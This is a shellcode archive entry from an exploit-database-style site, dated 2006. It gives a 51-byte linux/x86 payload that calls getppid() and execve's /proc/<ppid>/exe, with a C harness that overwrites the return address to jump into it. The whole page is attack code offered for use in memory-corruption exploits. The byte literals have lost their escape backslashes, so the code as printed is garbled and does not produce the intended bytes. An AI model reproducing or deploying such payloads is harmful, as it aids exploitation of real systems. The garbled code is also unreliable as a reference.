[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 getppid() + execve(/proc/pid/exe) 51 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : win xp/2000/2003 Connect Back shellcode for Overflow exploit 275 bytes
# Next Title : linux/x86 quick (yet conditional, eax != 0 and edx == 0) exit 4 bytes


/*
 * (linux/x86) getppid() + execve("/proc/<pid>/exe", ["/proc/<pid>/exe", NULL]) - 51 bytes
 * - izik <izik@tty64.org> 
 */

char shellcode[] = 

	"x6ax40"              // push $0x40 
	"x58"                  // pop %eax 
	"xcdx80"              // int $0x80 

	//
	// <_convert>:
	//

	"x4c"                  // dec %esp 
	"x99"                  // cltd 
	"x6ax0a"              // push $0xa 
	"x5b"                  // pop %ebx 
	"xf7xf3"              // div %ebx 
	"x80xc2x30"          // add $0x30,%dl 
	"x88x14x24"          // mov %dl,(%esp) 
	"x85xc0"              // test %eax,%eax 
	"x75xef"              // jnz _convert
	"x99"                  // cltd 
	"x5b"                  // pop %ebx 
	"x52"                  // push %edx 
	"x68x2fx65x78x65"  // push $0x6578652f 
	"x53"                  // push %ebx 
	"x68x72x6fx63x2f"  // push $0x2f636f72 
	"x68x2fx2fx2fx70"  // push $0x702f2f2f 
	"xb0x0b"              // mov $0xb,%al 
	"x89xe3"              // mov %esp,%ebx 
	"x52"                  // push %edx 
	"x53"                  // push %ebx 
	"x89xe1"              // mov %esp,%ecx 
	"xcdx80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]